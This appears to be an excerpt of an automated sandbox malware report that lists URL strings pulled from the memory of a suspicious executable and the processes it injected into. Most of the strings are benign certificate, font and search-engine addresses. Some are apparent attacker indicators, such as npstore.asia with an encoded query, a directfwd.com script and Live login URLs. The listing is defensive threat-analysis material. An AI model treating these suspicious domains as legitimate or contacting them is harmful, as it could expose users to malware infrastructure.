Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005086000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002B16000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2011901492.00000000388F6000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://cdn.jsinit.directfwd.com/sk-jspark_init.php
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: isoburn.exe, 00000004.00000002.4122089347.00000000053AA000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002E3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://parkcloud.dynadot.com/logo.gif
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: isoburn.exe, 00000004.00000002.4122089347.00000000053AA000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002E3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.dynadot.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4122987112.0000000004ABE000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.npstore.asia
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4122987112.0000000004ABE000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.npstore.asia/ahec/
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686390703.0000000005980000.00000004.00000020.00020000.00000000.sdmp, WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://2domains.ru
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-Medium.woff)
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-Medium.woff2)
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-Regular.woff)
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-Regular.woff2)
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-SemiBold.woff)
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://files.reg.ru/fonts/inter/Inter-SemiBold.woff2)
Source: isoburn.exe, 00000004.00000002.4122089347.00000000059F2000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003482000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Montserrat:200
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Source
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.369a663b08a55d305b97.js
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.442d968fe56a55df4c76.css
Source: isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: isoburn.exe, 00000004.00000003.1952955984.00000000029F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: isoburn.exe, 00000004.00000002.4120710422.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1952955984.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: isoburn.exe, 00000004.00000003.1952955984.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: isoburn.exe, 00000004.00000002.4120710422.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1952955984.00000000029F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: isoburn.exe, 00000004.00000003.1952955984.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: isoburn.exe, 00000004.00000002.4120710422.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1952955984.00000000029F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: isoburn.exe, 00000004.00000003.1952955984.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1952955984.00000000029F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: isoburn.exe, 00000004.00000002.4120710422.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1952955984.00000000029F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: isoburn.exe, 00000004.00000003.1952306122.00000000074E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://nl.trustpilot.com/review/www.transip.nl
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru?target=_blank
Source: isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://track.uc.cn/collect
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://transip.eu/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://transip.eu/cp/
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://transip.nl/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://transip.nl/cp/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://trustpilot.com/review/www.transip.nl
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: isoburn.exe, 00000004.00000002.4122089347.0000000006682000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000004112000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=&utm_medium=expired&utm_campaign
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/service/prolong_period_anonymous?servtype=srv_hosting_ispmgr&dname_or_ip=
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/ssl-certificate/?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/vps/cloud/?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/geoip?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/myip?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/web-tools/port-checker?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4122089347.000000000553C000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002FCC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/check_site?utm_source=&utm_medium=expired&utm_campaign
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/knowledgebase/entry/284-start-sending-receiving-email-domain/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/knowledgebase/zoeken/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/privacy-policy/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/question/100000230
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/question/110000576/
Source: isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/question/110000577/
Source: UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.eu/services/search-domains/
